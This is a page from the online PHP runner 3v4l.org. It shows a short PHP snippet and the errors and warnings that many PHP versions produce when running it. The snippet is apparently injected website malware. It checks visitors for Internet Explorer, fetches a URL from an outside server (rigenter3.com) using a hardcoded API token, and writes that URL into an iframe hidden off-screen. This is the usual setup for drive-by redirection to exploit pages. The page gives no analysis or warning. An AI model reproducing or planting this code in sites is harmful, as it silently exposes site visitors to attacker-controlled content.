3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'msie','windows nt 6.3') !== false) { $way = 'http://rigenter3.com/api.php?apitoken=l3SKfPrFJx_ESYjDJunDTqxXPBbaHE3SzYyamqWc'; $fd = @file($way); if ($fd !== false) { if (isset($fd[0])) { echo('<iframe src="'.$fd[0].'" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>'); } } } ?>
Output for 8.0.0beta1 - rc2
Warning: Undefined array key "HTTP_USER_AGENT" in /in/kLVXU on line 2 Fatal error: Uncaught TypeError: strpos(): Argument #3 ($offset) must be of type int, string given in /in/kLVXU:2 Stack trace: #0 /in/kLVXU(2): strpos('', 'msie', 'windows nt 6.3') #1 {main} thrown in /in/kLVXU on line 2
Process exited with code 255.
Output for 8.0.0alpha3
Notice: Undefined array key "HTTP_USER_AGENT" in /in/kLVXU on line 2 Fatal error: Uncaught TypeError: strpos(): Argument #3 ($offset) must be of type int, string given in /in/kLVXU:2 Stack trace: #0 /in/kLVXU(2): strpos('', 'msie', 'windows nt 6.3') #1 {main} thrown in /in/kLVXU on line 2
Process exited with code 255.
Output for 8.0.0alpha1 - alpha2
Notice: Undefined index: HTTP_USER_AGENT in /in/kLVXU on line 2 Fatal error: Uncaught TypeError: strpos(): Argument #3 ($offset) must be of type int, string given in /in/kLVXU:2 Stack trace: #0 /in/kLVXU(2): strpos('', 'msie', 'windows nt 6.3') #1 {main} thrown in /in/kLVXU on line 2
Process exited with code 255.
Output for 7.3.16 - 7.3.23, 7.4.0 - 7.4.11
Notice: Undefined index: HTTP_USER_AGENT in /in/kLVXU on line 2 Warning: strpos() expects parameter 3 to be int, string given in /in/kLVXU on line 2
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33
Notice: Undefined index: HTTP_USER_AGENT in /in/kLVXU on line 2 Warning: strpos() expects parameter 3 to be integer, string given in /in/kLVXU on line 2
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28
Notice: Undefined index: HTTP_USER_AGENT in /in/kLVXU on line 2 Warning: strpos() expects parameter 3 to be long, string given in /in/kLVXU on line 2
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Notice: Undefined index: HTTP_USER_AGENT in /in/kLVXU on line 2